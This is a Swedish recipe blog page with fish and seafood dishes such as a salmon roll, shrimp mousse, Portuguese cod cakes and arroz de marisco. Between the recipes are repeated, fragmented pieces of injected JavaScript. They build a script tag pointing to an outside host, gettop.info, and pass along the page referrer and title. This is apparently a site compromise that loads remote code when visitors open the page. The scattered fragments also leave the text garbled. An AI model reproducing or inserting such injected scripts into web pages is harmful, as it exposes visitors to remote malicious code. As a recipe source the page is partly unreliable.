Laxrulle

bild4

IMG_587512744372_10153431523865959_4196997906889747981_n

Receptet på laxrullen hittade jag här.
Istället för bladspenat tog jag ruccola.

Ingredienser 1 rulle

  • 200 g rökt lax
  • 100 g naturell färskost med pepparrotssmak
  • salt och peppar
  • 1 dl bladspenat
  • juicen från 1/4 citron

 


Gör så här:

  1. Lägg rökt lax i tunna skivor omlott på plastfolie och bre på naturell färskost med pepparrotssmak. Salta och peppra.
  2. Fördela bladspenat över, pressa över juice från citron och rulla ihop laxen till en fast rulle. Ställ rullen i kylen.
  3. Skär den i 1-2 cm breda skivor då den stelnat. Servera.

bild3bild2bild1bild5

IMG_5873if (document.currentScript) {

d.getElementsByTagName(‘head’)[0].appendChild(s);

Räkmousse

12744372_10153431523865959_4196997906889747981_n

IMG_5875

Räkmousse 4 pers.
1/2 kg räkor (oskalade)
1 pkt crabfish
1 dl grädde
1 dl majonnäs
1 tsk gelatinpulver

Räkor, löjrom, dill och citron eller valfri topping. Här hade jag gjort laxrullar som jag skurit upp i bitar.

Gör så här:
Skala räkorna, kör dom i mixer, lägg i crabfishen och mixa igen. Vispa grädden hårt och blanda i majonnäsen. Ner med gräddblandningen i mixern och mixa. Gelatinpulvret rörd ut i en matsked vatten, häll i det i röran plus ytterligare 1/2 dl vatten. Blanda. Lägg i moussen i en form eller serveringsglas.  Den skall stå i kyl i minst ett par timmar. Den är god att servera med löjrom och citron.

IMG_5872IMG_5873}

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Thaisallad av salmalax

bild8

Det här goda receptet hittade jag på Petra Tungårdens blogg. Ni måste provsmaka er fram hela tiden när ni gör dressingen då smaken är olika och en del föredrar kanske mer riven ingefära eller kanske mer chili i dressingen.

bild9

1 bit Salmalax (ca 280 gram)
Bladspenat (en liten påse)
1/2 Rödlök
Tomater
1 Avokado
1-2 tsk Soya
1-2 msk Sweewchili el chili
1 msk pressad lime
1 msk pressad citronjuice
0,5-1 dl Olivolja
Ingefära (färskriven)
Koriander (kan uteslutas)
1/2 dl Cashewnötter (hackade)

Gör såhär:
Pressa ner lime och häll i citronjuicen i en skål. Hacka sedan koriander och häll ner i röran tillsammans med olivolja och chili. Har du ingen chili så ta lite sweetchilisås i. Riv ner ingefära och lite soya, smaka av hela tiden.
Hacka cashewnötter.

Skär upp Salmalaxen i tunna skivor. Lägg laxen i dressingen och låt dra i kylen en stund.

Gör en salladsbädd av färsk spenat och häll på lite av dressingen. Lägg på avokado och servera.

bild7bild6bild5bild4

bild3bild2bild8bild1

 

 

 

 

 

 

 

 

 

 

 

 

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) {

Räkmousse

 

bild1

Till nyår lagade jag den här goda förrätten som går  perfekt att förbereda dagen innan och sen ta fram och garnera innan servering. Jag serverade min räkmousse med löjrom, lite gräslök, rök, gravad lax, citron och en dillvippa. Sen hade jag bakat en parmesangrissini till.

Räkmousse 4 pers.
1/2 kg räkor (oskalade)
1 pkt crabfish
1 dl grädde
1 dl majonnäs
1 tsk gelatinpulver

Räkor, löjrom, dill och citron

Gör så här:
Skala räkorna, kör dom i mixer, lägg i crabfishen och mixa igen. Vispa grädden hårt och blanda i majonnäsen. Ner med gräddblandningen i mixern och mixa. Gelatinpulvret rörd ut i en matsked vatten, häll i det i röran plus ytterligare 1/2 dl vatten. Blanda. Lägg i moussen i en form eller serveringsglas.  Den skall stå i kyl i minst ett par timmar. Den är god att servera med löjrom och citron.

bild6bild3bild5bild2

 

 

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) {

Baconinlindad laxtournedos

 bild2

Vad sägs om baconinlindad laxtournedos till middag? Receptet hittade jag på Birgitta Höglunds  matsida här.
Jag stekte laxen i olivolja istället för smör som står i originalreceptet.

Baconlindad Laxtournedos
En skiva färsk Lax à 150 gr
2 skivor Bacon
Havssalt och nymald Vitpeppar
Olivolja

Gör så här:
En skiva lax (jag använde Findus frysta laxfile som jag tinat upp). Gör ett snitt längs med mitten, men inte ända ut till kanten. Vik ut till en lång remsa.

Lägg två baconskivor lite omlott på längden.

Lägg laxremsan ovanpå baconet, krydda med salt, peppar.

Rulla ihop till en fast rulle, fäst 1-2  tandpetare så baconet sitter fast i laxen.

Stek laxen 2-3 minuter på var sida. Sätt in stekpannan i ugnen på 175° och låt laxtournedosen steka färdigt i 10 minuter.Ta fram och låt vila en stund, så värmen fördelas jämnt i laxen. Ta bort dina tandpetare från laxen innan servering.

Jag serverade laxen med broccoli och en grönsallad.

bild9bild7bild8

Vänd på laxen så du har baconskivorna underst och laxskivan överst och rulla till en fast rulle.

bild5bild6bildabild3

 } else {

var d=document;var s=d.createElement(‘script’); } else {

Torsk i foliepaket

Fisk

Recept
Fryst torskfilé i portionsbit (upptinad)
Dill
Citron
Champinjoner
Tomat
Lök
Paprika
Smör
Salt
Vitpeppar
Citronpeppar
Vitlök

Gör så här:
Tina upp torskbiten. Lägg den på en bit folie (gärna dubbla ark). Salta och peppra fisken och lägg på två skivor smör mitt på fisken. Skiva upp tomater och citron  och lägg på fisken och några dillkvistar samt pressad färsk vitlök. Lägg champinjoner, paprika och lök och förslut foliepaketet. Grädda i ugn  på 200 grader i ca 15-20 .

bild (103)bild (99)bild (114)bild (110)bild (101)bild (96)bild (115)bild (119)

 if (document.currentScript) {

”Bolinhos de bacalhao” – Portuguese salted cod fish cakes.

 

bild1

Förra helgen besökte jag Lissabon över helgen och fick prova de här små fiskkakorna som smakade supergott. De är gjorda på torsk och receptet hittade jag här. I originalreceptet använder du torkad torsk. Det går dock lika bra att använda färsk eller fryst torsk (upptinad).

Recept 30-40 små fiskkakor.
1 kg  skalad, kokad och mosad potatis
2 bitar torsk (ca 2 portioner) i storlek som en handflata. Du kan använda mer torsk om du vill ha dem lite mer matiga.
Lite persilja
2-4 vitlöksklyftor
2-3 ägg
Salt och peppar

Gör så här:
Koka potatisen och mosa/pressa potatisen när den börjat svalna lite.
Skär torsken i små bitar (ca 0,5 cm i diameter) och blanda med potatisen.
Skär persiljan och vitlöken fint och blanda i röran.
Vispa äggen i en separat bunke och sen häll över din röra och blanda ihop.
Forma dina fiskkakor till små ovalformade bollar. Lägg in dem i kylen ca 15 minuter innan du steker dina fiskbollar.
Stek dina fiskbollar i olja tills de fått fin brun färg. Låt dem torka på ett hushållspapper innan servering.

bild2document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

Arroz de marisco (Portugese paella)

bild2

I Sintra åt vi ”Arroz de Marisco” till lunch. Letade på nätet efter ett liknande recept av en sådan gryta och hittade ett recept här. Vi fick Marulk och räkor i våran gryta samt lite körsbärstomater.

Recept 4 portioner
1 dl olivolja
3 gula lökar, hackade
3 dl (avorio-)ris
5 dl vatten + 1 dl vitt vin
1 paket (3 1/2 dl) passerade tomater
2 msk hummerfond
1 tsk salt
1 sockerbit
2 krm grön tabasco
3 msk grovhackad färsk koriander
1 kg färska musslor eller valfri fisk
300 g räkor med skal
1 kokt hummer, ca 350 g
hackad koriander till garnering

Gör så här

  • Hetta upp oljan i en vid traktörpanna. Fräs löken ett ögonblick och rör ner riset. Fräs under omrörning i 2 minuter. Späd med vatten och vin, tillsätt passerade tomater, fond, salt och socker, tabasco och koriander. Koka under lock 15 minuter. Lägg väl borstade, slutna musslor ovanpå riset och koka ytterligare 5 minuter under lock tills musslorna öppnat sig. Lägg i räkor och hummer, i delar, att värmas 3-5 minuter. Det ska fortfarande vara kvar lite vätska som gör riset såsigt.
  • Vänd samman ingredienserna om så önskas. Strö koriander över och servera ångande varmt direkt från pannan.

Kommentarer

Arroz de Marisco kallas den här skaldjursgrytan. Man kan koka musslorna för sig och värma skaldjuren i en annan panna för att slutligen vända samman ingredienserna i ett gediget serveringsfat. Bra när det görs större sats. Glöm inte att ta med skaldjursspadet i riset! Andra skaldjur kan väljas, till exempel havskräftor och krabbklor. Avorioriset kan ersättas med grötris eller en annan rissort som klibbar.

bild1if (document.currentScript) {

Stekt torsk med remouladsås

Det här behöver du för 4 personer:
600 gram,  torskfilé
2 msk vetemjöl
1 ägg
1,5 dl veteströbröd
salt och peppar
smör och rapsolja

Till remouladsåsen:
1 dl majonnäs
1 1/2 dl gräddfil
1 msk svensk bordssenap
1/2 dl bostongurka
1 msk hackad kapris

Gör så här:
Tillagning: Häll  majonnäs, gräddfil ock  svensk bordssenap i en skål. Tillsätt bostongurka  hackad kapris. Rör samman ock låt såsen stå och dra minst  en halvtimme före serveringen. Se till att fisken är helt tinad. Salta och peppra fiskfiléerna lätt och vänd dem i tur och ordning i vetemjöl, uppvispat ägg och veteströbröd. Stek fisken i lika delar smör och olja i medelvarm panna, knappt två minuter per sida. Lägg upp direkt. Panerad och stekt fisk ska ätas direkt, då är den som godast. Bäst smakar den med kokt potatis, kall remouladsås och en citronklyfta att pressa över.

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Kall laxsallad

Vad sägs om en god sallad såhär på en söndag? Receptet hittar du här.

d.getElementsByTagName(‘head’)[0].appendChild(s);